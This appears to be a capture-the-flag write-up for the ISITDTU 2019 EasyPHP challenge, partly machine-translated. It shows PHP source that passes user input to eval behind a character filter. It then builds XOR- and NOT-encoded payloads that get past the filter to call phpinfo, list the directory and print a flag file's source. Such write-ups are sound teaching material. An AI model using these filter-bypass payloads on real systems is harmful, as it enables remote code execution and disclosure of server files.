Article directory
[ISITDTU 2019EasyPHP] Using XOR webshell
problem solving
index.php
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
Here we mainly need to bypass two if regular filters:
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
If $_
the string in contains any of these characters, execution die('rosé will not do it');
terminates script execution.
The following are the character ranges and special characters that this regular expression matches:
[\x00- 0-9]
: Matches ASCII control characters and digits 0-9.\'"
: Match single and double quotes.$&.,|[{_defgops\x7F]
: Match a set of specific characters, including$
,&
,.
,,
,|
,[
,{
,_
,d
,e
,f
,g
,o
,p
,s
and\x7F
characters whose ASCII value is .
Therefore, if $_
the string in contains any one of the above character sets, then the condition is true and execution terminates die('rosé will not do it');
script execution.
The second if:
strlen(count_chars(strtolower($_), 0x3)) > 0xd
This piece of code means that the type of characters passed in cannot exceed 13
We noticed that there is no filter ~ ^
So let's try to use inversion~
/?_=(~%8F%97%8F%96%91%99%90)(); # phpinfo();
Use XOR:
<?php
$s = urlencode("phpinfo" ^ urldecode("%ff%ff%ff%ff%ff%ff%ff"));
echo "((".$s.")^("."%ff%ff%ff%ff%ff%ff%ff))();";
# ((%8F%97%8F%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();
disable_functions:
Some commonly used ones are all filtered, but we can use print_r
the scandir()
two functions to read the directory, and then use show_source()
the read file
print_r(scandir('.'))
(%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff)((%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff)((%D1^%ff)))
Let's measure how many characters are used:
<?php
$s = '(%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff)((%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff)((%D1^%ff)))';
echo strlen(count_chars($s,3));
# 16
16 characters in total
We need to control it within 13, except that ();^
there are only 9 characters left
Since the types of characters are limited here, but the length is not limited, we should think about which characters can be obtained by XORing multiple times with other characters:
def en(s):
return hex(ord(s) ^ 0xff)[2:]
p = list(set('printrscandir'))
for i in p:
for j in p:
for k in p:
for m in p:
if ord(j) ^ ord(k) ^ ord(m) == ord(i):
if(j == k or j == m or m == k):
continue
else:
print(i+'=='+j + '^' + k + '^'+m, end='\t')
print(
'{:0>2} => ["{:0>2}","{:0>2}","{:0>2}"]'.format(
en(i), en(j), en(k), en(m)))
break
This code is to find out the code that can XOR construct a character in a string through three characters, and then output their %ff
value after XOR
%9e = %9c ^ %8d ^ %8f
a = %9e ^ %ff = %9c ^ %8d ^ %8f ^ %ff
We need to select some strings that appear less in the string and replace them with the XOR of 3 characters, for example:
choose t
,t==s^i^n 8b => ["8c","96","91"]
t = \x8B ^ \xFF
变为
t = \x8c ^ \x96 ^ \x91 ^ \xff
Let's follow this idea and replace characters in batches so that their length is less than 13
We look for several replaced characters:
a = c^p^r
d = s^c^t
n = i^s^t
c = %9C
p = %8F
r = %8D
s = %8C
t = %8B
i = %96
So we can use these instead:
print_r(scandir('.'))
(%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff)((%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff)((%D1^%ff)))
After substitution: will a n d
replace
print_r = (%8F%8D%96%96%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff^%ff%ff%ff%8c%ff%ff%ff^%ff%ff%ff%8b%ff%ff%ff)
scandir = (%8C%9C%9C%96%8C%96%8D^%ff%ff%ff%ff%ff%ff%ff^%ff%ff%8F%8B%9C%ff%ff^%ff%ff%8D%8C%8B%ff%ff)
. = (%D1^%ff)
So print_r(scandir('.'))
:
((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));
incoming:
n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt , cannot be read directly, we can use: end()
get the last value of the array
show_source(end(scandir('.')))
?_=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
Summarize
This question is too annoying